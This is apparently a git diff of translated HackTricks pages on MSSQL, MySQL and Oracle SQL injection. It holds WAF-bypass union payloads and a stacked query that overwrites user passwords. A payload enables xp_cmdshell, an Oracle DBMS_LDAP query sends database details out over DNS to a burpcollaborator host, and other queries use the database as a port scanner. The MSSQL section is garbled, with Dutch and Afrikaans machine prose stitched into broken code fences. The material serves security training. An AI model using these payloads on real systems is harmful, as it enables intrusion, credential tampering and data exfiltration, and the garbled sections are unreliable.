@ -252,150 +192,47 @@ SELECT * VAN fn_my_permissions(NULL, 'SERVER') WAAR permission_name='VIEW SERVER
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
# MSSQL-injectie
```markdown
# MSSQL-inspuiting
## Inleiding
MSSQL-inspuiting is 'n tipe SQL-inspuiting wat spesifiek op Microsoft SQL Server gerig is. Dit kan gebruik word om toegang te verkry tot databasisdata deur die invoer van kwaadwillige SQL-kode in 'n toepassingsinvoer.
MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te misbruiken. Deze techniek maakt gebruik van onjuiste validatie van gebruikersinvoer om kwaadaardige SQL-query's uit te voeren en toegang te krijgen tot gevoelige gegevens.
## Voorbeeld
## Union-based MSSQL-injectie
Een veelgebruikte methode voor MSSQL-injectie is de union-based aanval. Deze aanval maakt gebruik van het UNION-statement om gegevens uit verschillende tabellen samen te voegen en terug te geven als resultaat van de query. Hierdoor kan een aanvaller gevoelige informatie extraheren die normaal gesproken niet toegankelijk zou zijn.
### Stap 1: Identificatie van een kwetsbaar punt
Om een MSSQL-injectie uit te voeren, moet je eerst een kwetsbaar punt in de applicatie identificeren. Dit kan worden gedaan door het controleren van de URL-parameters, formulieren of andere invoervelden op de website.
### Stap 2: Bepalen van het aantal kolommen
Om een union-based MSSQL-injectie uit te voeren, moet je weten hoeveel kolommen er in de query worden geretourneerd. Dit kan worden gedaan door het injecteren van een ORDER BY-clausule en het verhogen van het getal totdat er geen foutmeldingen meer worden weergegeven.
### Stap 3: Gegevens extraheren
Nu je het aantal kolommen kent, kun je gegevens extraheren uit de database. Dit kan worden gedaan door het injecteren van een UNION-statement gevolgd door de gewenste gegevens. Bijvoorbeeld:
Hier is 'n voorbeeld van 'n MSSQL-inspuitingsaanval:
```
https://vuln.app/getItem?id=1 UNION SELECT null,@@version,null--
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
In dit voorbeeld wordt de `@@version`-variabele gebruikt om de versie van de MSSQL-server terug te geven.
## Conclusie
MSSQL-injectie is een krachtige techniek die kan worden gebruikt om toegang te krijgen tot gevoelige gegevens in een MSSQL-database. Het is belangrijk om deze kwetsbaarheid te begrijpen en de nodige maatregelen te nemen om deze te voorkomen, zoals het valideren en filteren van gebruikersinvoer.
In hierdie voorbeeld word die `id` parameter gemanipuleer om 'n UNION SELECT-aanroep te maak wat die weergawe van die SQL Server teruggee.
```
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
## MSSQL-injectie
### Unieke SQL-injectie
#### Stap 1: Identificatie van SQL-injectie
Om te beginnen moeten we controleren of de applicatie vatbaar is voor SQL-injectie. We kunnen dit doen door een enkele aanhalingsteken (') in het invoerveld te plaatsen en te kijken of er een foutmelding wordt weergegeven. Als er een foutmelding wordt weergegeven, is de applicatie mogelijk vatbaar voor SQL-injectie.
#### Stap 2: Identificatie van het aantal kolommen
Om een succesvolle SQL-injectie uit te voeren, moeten we weten hoeveel kolommen er in de query worden gebruikt. We kunnen dit doen door de `ORDER BY`-clausule te gebruiken en het aantal kolommen te verhogen totdat er geen foutmelding meer wordt weergegeven. Bijvoorbeeld:
```
```markdown
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
```
In dit voorbeeld voegen we `null`-waarden toe totdat er geen foutmelding meer wordt weergegeven. Het aantal `null`-waarden dat we toevoegen, geeft het aantal kolommen weer.
#### Stap 3: Identificatie van de versie van MSSQL
Om de versie van MSSQL te identificeren, kunnen we de `@@version`-variabele gebruiken. We kunnen dit doen door de query als volgt te wijzigen:
```
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
In dit voorbeeld gebruiken we `@@version` om de versie van MSSQL te verkrijgen.
### Opmerking
Het is belangrijk op te merken dat SQL-injectie illegaal is en alleen mag worden uitgevoerd met toestemming van de eigenaar van het systeem. Het is ook belangrijk om ethische richtlijnen te volgen en geen schade aan te richten aan systemen of gegevens.
```
A period instead of a whitespace between FROM and a column name:
```
```markdown
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
# MSSQL Injection
## Inleiding
MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases bloot te leggen. Deze techniek maakt gebruik van SQL-injectie om kwaadaardige SQL-query's uit te voeren en gevoelige informatie te verkrijgen.
## Stapsgewijze handleiding
1. Identificeer een kwetsbaar doelwit met een MSSQL-database.
2. Zoek naar invoervelden waarin SQL-query's worden uitgevoerd zonder de juiste validatie of ontsmetting.
3. Voer een kwaadaardige SQL-query in het invoerveld in om de database te manipuleren.
4. Gebruik de UNION-operator om gegevens uit andere tabellen op te halen.
5. Gebruik de @@version-functie om de versie van de MSSQL-server te achterhalen.
6. Analyseer de verkregen gegevens om verdere aanvallen uit te voeren of kwetsbaarheden te identificeren.
## Voorbeeld
URL: `https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--`
In dit voorbeeld wordt de UNION-operator gebruikt om de versie van de MSSQL-server te achterhalen. Door `null` te selecteren voor de eerste en derde kolom, wordt voorkomen dat er gegevens worden gelekt. De `@@version`-functie retourneert de versie van de MSSQL-server.
## Conclusie
MSSQL-injectie is een krachtige techniek om kwetsbaarheden in MSSQL-databases te exploiteren. Het is belangrijk om de juiste beveiligingsmaatregelen te nemen, zoals het valideren en ontsmetten van invoervelden, om deze vorm van aanval te voorkomen.
```
```
\N separator between SELECT and a throwaway column:
```
# MSSQL Injection
## Inleiding
MSSQL-injectie is een veelvoorkomende techniek die wordt gebruikt om kwetsbaarheden in MSSQL-databases te exploiteren. Deze techniek maakt gebruik van onjuiste validatie van gebruikersinvoer om kwaadaardige SQL-query's uit te voeren en toegang te krijgen tot gevoelige gegevens.
## Stapsgewijze handleiding
Hieronder volgt een stapsgewijze handleiding voor het uitvoeren van een MSSQL-injectieaanval:
1. Identificeer de invoervelden op de doelwebsite die mogelijk kwetsbaar zijn voor SQL-injectie. Dit kunnen zoekvakken, inlogformulieren of andere invoervelden zijn waarbij de gebruikersinvoer wordt verwerkt.
2. Voer een eenvoudige test uit door een enkel aanhalingsteken (') in het invoerveld in te voeren. Als de website een foutmelding of een onverwacht gedrag retourneert, kan dit duiden op een SQL-injectiekwetsbaarheid.
3. Gebruik de UNION-operator om gegevens uit andere tabellen in de database op te halen. De UNION-operator combineert de resultaten van twee of meer SELECT-statements. Een voorbeeld van een SQL-injectieaanval met de UNION-operator is:
```
id=0xunion+select\Nnull,@@version,null+from+users--
```
In dit voorbeeld wordt de UNION-operator gebruikt om de versie van de MSSQL-server op te halen uit de `@@version`-variabele.
4. Gebruik de informatie die is verkregen uit de UNION-operator om verdere aanvallen uit te voeren, zoals het ophalen van gebruikersnamen, wachtwoorden of andere gevoelige gegevens.
## Preventie
Om MSSQL-injectie te voorkomen, moeten ontwikkelaars de volgende best practices volgen:
- Gebruik parameterbinding of voorbereide verklaringen om gebruikersinvoer correct te valideren en te ontsmetten voordat deze wordt gebruikt in SQL-query's.
- Implementeer strikte validatie van gebruikersinvoer om ongewenste tekens te filteren.
- Beperk de rechten van de databasegebruiker die wordt gebruikt door de applicatie om alleen de minimale benodigde machtigingen te hebben.
- Houd de MSSQL-server up-to-date met de nieuwste beveiligingspatches.
- Voer regelmatig penetratietests uit om kwetsbaarheden in de applicatie te identificeren en te verhelpen.
## Conclusie
MSSQL-injectie is een ernstige kwetsbaarheid die kan leiden tot ongeautoriseerde toegang tot gevoelige gegevens. Het is belangrijk voor ontwikkelaars en beheerders om zich bewust te zijn van deze kwetsbaarheid en de nodige maatregelen te nemen om deze te voorkomen. Door de best practices te volgen en regelmatig penetratietests uit te voeren, kunnen organisaties hun systemen beschermen tegen MSSQL-injectieaanvallen.
```markdown
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
```
### WAF Bypass with unorthodox stacked queries
@ -409,38 +246,42 @@ SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
Gebruik [tempdb]
Skep tabel [toets] ([id] int)
Voeg [toets] waardes in (1)
kies [id] van [toets]
verwyder tabel [toets]
```markdown
gebruik [tempdb]
skep tabel [test] ([id] int)
voeg in [test] waardes(1)
selecteer [id] van [test]
verwyder tabel [test]
```
```
Can be reduced to:
```sql
Gebruik[tempdb]skep/**/tabel[test]([id]int)invoer[test]waardes(1)kies[id]van[test]verwyder/**/tabel[test]
```markdown
gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)selekteer[id]van[test]verwyder/**/tafel[test]
```
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Die byvoeging van 'n nuttelose exec() aan die einde en om die WAF te laat dink dat dit nie 'n geldige navraag is nie
# Voeg 'n nuttelose exec() aan die einde by en laat die WAF dink dit is nie 'n geldige navraag nie
admina'union select 1,'admin','testtest123'exec('select 1')--
## Dit sal wees:
SELECT id, gebruikersnaam, wagwoord FROM gebruikers WHERE gebruikersnaam = 'admina'union select 1,'admin','testtest123'
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Die gebruik van vreemd opgeboude navrae
admin'exec('update[gebruikers]set[wagwoord]=''a''')--
# Gebruik vreemd gebou navrae
admin'exec('update[users]set[password]=''a''')--
## Dit sal wees:
SELECT id, gebruikersnaam, wagwoord FROM gebruikers WHERE gebruikersnaam = 'admin'
exec('update[gebruikers]set[wagwoord]=''a''')--'
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Of xp_cmdshell aktiveer
# Of om xp_cmdshell in te skakel
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Dit sal wees:
select * from gebruikers where gebruikersnaam = ' admin'
## Dit sal wees
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```
@ -450,16 +291,17 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,55 @@
# MySQL-lêerprivileges na SSRF/RCE
# MySQL File priv to SSRF/RCE
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Hierdie is 'n opsomming van die MySQL/MariaDB/Percona-tegnieke vanaf [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Dit is 'n opsomming van die MySQL/MariaDB/Percona tegnieke van [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
### Bedienerkant-aanvraagvervalsering (SSRF) via SQL-funksies
### Server-Side Request Forgery (SSRF) via SQL Functions
By die ondersoek van SQL Out of Band-data-eksfiltrering, word die `LOAD_FILE()`-funksie dikwels gebruik om netwerkaanvrae te begin. Hierdie funksie word egter beperk deur die bedryfstelsel waarop dit werk en die databasis se opstartkonfigurasies.
In die verkenning van SQL Out of Band data eksfiltrasie, word die `LOAD_FILE()` funksie algemeen gebruik om netwerk versoeke te begin. Hierdie funksie is egter beperk deur die bedryfstelsel waarop dit werk en die databasis se opstartkonfigurasies.
Die `secure_file_priv`-globale veranderlike, as dit nie ingestel is nie, verstek na `/var/lib/mysql-files/`, wat lêertoegang tot hierdie gids beperk tensy dit na 'n leë string (`""`) ingestel word. Hierdie aanpassing vereis wysigings in die databasis se konfigurasie-lêer of opstartparameters.
Die `secure_file_priv` globale veranderlike, indien nie gestel nie, is standaard op `/var/lib/mysql-files/`, wat lêer toegang tot hierdie gids beperk tensy dit op 'n leë string (`""`) gestel word. Hierdie aanpassing vereis wysigings in die databasis se konfigurasiefil of opstartparameters.
As `secure_file_priv` gedeaktiveer is (`""`), en mits die nodige lêer en `file_priv`-toestemmings verleen is, kan lêers buite die aangewese gids gelees word. Die vermoë van hierdie funksies om netwerkaanroepe te maak, is egter sterk afhanklik van die bedryfstelsel. Op Windows-stelsels is netwerkaanroepe na UNC-paaie moontlik as gevolg van die bedryfstelsel se begrip van UNC-naamkonvensies, wat moontlik kan lei tot die eksfiltrering van NTLMv2-hashes.
Aangesien `secure_file_priv` gedeaktiveer is (`""`), en met die aanname dat die nodige lêer en `file_priv` toestemmings toegeken is, kan lêers buite die aangewese gids gelees word. Tog is die vermoë van hierdie funksies om netwerkoproepe te maak hoogs afhanklik van die bedryfstelsel. Op Windows stelsels is netwerkoproepe na UNC paaie haalbaar weens die bedryfstelsel se begrip van UNC naamkonvensies, wat moontlik kan lei tot die eksfiltrasie van NTLMv2 hashes.
Hierdie SSRF-metode is beperk tot TCP-poort 445 en maak nie poortnommerwysiging moontlik nie, maar dit kan gebruik word om toegang tot aandele met volle leestoestemmings te verkry en, soos in vorige navorsing gedemonstreer, om hasings te steel vir verdere uitbuiting.
Hierdie SSRF metode is beperk tot TCP poort 445 en laat nie poortnommer wysiging toe nie, alhoewel dit gebruik kan word om deelings met volle leesregte te benader en, soos in vorige navorsing gedemonstreer, om hashes te steel vir verdere uitbuiting.
### Verrekenaar-kode-uitvoering (RCE) via Gebruikersgedefinieerde Funksies (UDF)
### Remote Code Execution (RCE) via User Defined Functions (UDF)
MySQL-databasisse bied die gebruik van Gebruikersgedefinieerde Funksies (UDF) vanaf eksterne biblioteeklêers. As hierdie biblioteke toeganklik is binne spesifieke gidse of die stelsel se `$PATH`, kan hulle vanuit MySQL aangeroep word.
MySQL databasisse bied die gebruik van User Defined Functions (UDF) van eksterne biblioteek lêers aan. As hierdie biblioteke binne spesifieke gidse of die stelsel se `$PATH` toeganklik is, kan dit vanuit MySQL aangeroep word.
Hierdie tegniek maak die uitvoering van netwerk/HTTP-aanvrae moontlik deur 'n UDF, mits aan verskeie voorwaardes voldoen word, insluitend skryftoegang tot die `@@plugin_dir`, `file_priv` ingestel op `Y`, en `secure_file_priv` gedeaktiveer.
Hierdie tegniek stel in staat om netwerk/HTTP versoeke deur 'n UDF uit te voer, mits verskeie voorwaardes nagekom word, insluitend skryfreëls tot die `@@plugin_dir`, `file_priv` gestel op `Y`, en `secure_file_priv` gedeaktiveer.
Byvoorbeeld, die `lib_mysqludf_sys`-biblioteek of ander UDF-biblioteke wat HTTP-aanvrae moontlik maak, kan gelaai word om SSRF uit te voer. Die biblioteke moet na die bediener oorgedra word, wat bereik kan word deur die inhoud van die biblioteek in heks- of base64-kodering oor te dra en dit dan na die toepaslike gids te skryf.
Byvoorbeeld, die `lib_mysqludf_sys` biblioteek of ander UDF biblioteke wat HTTP versoeke moontlik maak, kan gelaai word om SSRF uit te voer. Die biblioteke moet na die bediener oorgedra word, wat bereik kan word deur die biblioteek se inhoud in hex of base64 te kodifiseer en dit dan na die toepaslike gids te skryf.
Die proses verskil as die `@@plugin_dir` nie skryfbaar is nie, veral vir MySQL-weergawes bo `v5.0.67`. In sulke gevalle moet alternatiewe pad
Die proses verskil as die `@@plugin_dir` nie skryfbaar is nie, veral vir MySQL weergawes bo `v5.0.67`. In sulke gevalle moet alternatiewe paaie wat skryfbaar is, gebruik word.
Outomatisering van hierdie prosesse kan gefasiliteer word deur gereedskap soos SQLMap, wat UDF inspuiting ondersteun, en vir blinde SQL inspuitings kan uitvoer herleiding of DNS versoek smuggling tegnieke gebruik word.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Oracle-injeksie
# Oracle injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Dien hierdie pos in as 'n kopie van die gewiste pos vanaf [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**Dien hierdie pos 'n wayback masjien kopie van die verwyderde pos van [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Die gebruik van Oracle om Out of Band HTTP- en DNS-versoeke te doen, is goed gedokumenteer, maar as 'n manier om SQL-data in inspuitings te eksfiltreer. Ons kan altyd hierdie tegnieke/funksies wysig om ander SSRF/XSPA te doen.
Die gebruik van Oracle om Out of Band HTTP en DNS versoeke te doen is goed gedokumenteer, maar as 'n middel om SQL data in inspuitings te eksfiltreer. Ons kan altyd hierdie tegnieke/funksies aanpas om ander SSRF/XSPA te doen.
Die installeer van Oracle kan baie pynlik wees, veral as jy 'n vinnige instansie wil opstel om bevele uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my gewys na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) wat my in staat gestel het om 'n instansie op 'n t2.large AWS Ubuntu-masjien en Docker op te stel.
Om Oracle te installeer kan regtig pynlik wees, veral as jy 'n vinnige instansie wil opstel om opdragte uit te probeer. My vriend en kollega by [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), het my gewys na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) wat my toegelaat het om 'n instansie op 'n t2.large AWS Ubuntu masjien en Docker op te stel.
Ek het die docker-bevel uitgevoer met die `--network="host"` vlag sodat ek Oracle kon naboots as 'n plaaslike installasie met volle netwerktoegang, vir die duur van hierdie blogpos.
Ek het die docker opdrag met die `--network="host"` vlag gedraai sodat ek Oracle as 'n inheemse installasie met volle netwerktoegang kon naboots, vir die duur van hierdie blogpos.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle-pakette wat 'n URL of 'n Hostname/Portnommer-spesifikasie ondersteun <a href="#oracle-pakette-wat-'n-url-of-'n-hostname-portnommer-spesifikasie-ondersteun" id="oracle-pakette-wat-'n-url-of-'n-hostname-portnommer-spesifikasie-ondersteun"></a>
#### Oracle-pakkette wat 'n URL of 'n Gasheer/Poortnommer-spesifikasie ondersteun <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Om enige pakkette en funksies te vind wat 'n host en poortspesifikasie ondersteun, het ek 'n Google-soektog uitgevoer op die [Oracle-databasis aanlyn-dokumentasie](https://docs.oracle.com/database/121/index.html). Spesifiek,
Om enige pakkette en funksies te vind wat 'n gasheer en poort spesifikasie ondersteun, het ek 'n Google-soektog op die [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) gedoen. Spesifiek,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Die soektog het die volgende resultate opgelewer (nie almal kan gebruik word om uitgaande netwerkverkeer uit te voer nie)
Die soektog het die volgende resultate teruggegee (nie almal kan gebruik word om uitgaande netwerk te voer nie)
* DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP
@ -49,34 +50,34 @@ Die soektog het die volgende resultate opgelewer (nie almal kan gebruik word om
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Hierdie eenvoudige soektog slaan duidelik pakkette soos `DBMS_LDAP` oor (wat die deurgang van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) jou eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) verwys. Daar kan dus ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoekings te maak wat ek dalk gemis het.
Hierdie ruwe soektog slaag duidelik oor pakkette soos `DBMS_LDAP` (wat die deurgee van 'n gasheernaam en poortnommer toelaat) aangesien [die dokumentasiebladsy](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) jou eenvoudig na 'n [ander plek](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) verwys. Daarom mag daar ander Oracle-pakkette wees wat misbruik kan word om uitgaande versoeke te maak wat ek dalk gemis het.
In elk geval, laat ons kyk na 'n paar van die pakkette wat ons ontdek en hierbo gelys het.
In elk geval, kom ons kyk na sommige van die pakkette wat ons ontdek het en hierbo gelys het.
**DBMS\_LDAP.INIT**
Die `DBMS_LDAP`-pakkette maak dit moontlik om toegang tot data vanaf LDAP-bedieners te verkry. Die `init()`-funksie inisialiseer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument.
Die `DBMS_LDAP` pakket stel toegang tot data van LDAP-bedieners toe. Die `init()` funksie inisieer 'n sessie met 'n LDAP-bediener en neem 'n gasheernaam en poortnommer as 'n argument.
Hierdie funksie is al voorheen gedokumenteer om die uitlek van data oor DNS te wys, soos hieronder
Hierdie funksie is voorheen gedokumenteer om die eksfiltrasie van data oor DNS te toon, soos hieronder
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Togtans, gegewe dat die funksie 'n gasheernaam en 'n poortnommer as argumente aanvaar, kan jy dit ook gebruik as 'n poortskanderer.
However, gegewe dat die funksie 'n hostname en 'n poortnommer as argumente aanvaar, kan jy dit gebruik om soos 'n poortskandeerder te werk.
Hier is 'n paar voorbeelde:
Hier is 'n paar voorbeelde
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
'n `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui daarop dat die poort gesluit is terwyl 'n sessiewaarde na die oop poort verwys.
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` dui aan dat die poort gesluit is terwyl 'n sessiewaarde na die poort wat oop is, dui.
**UTL\_SMTP**
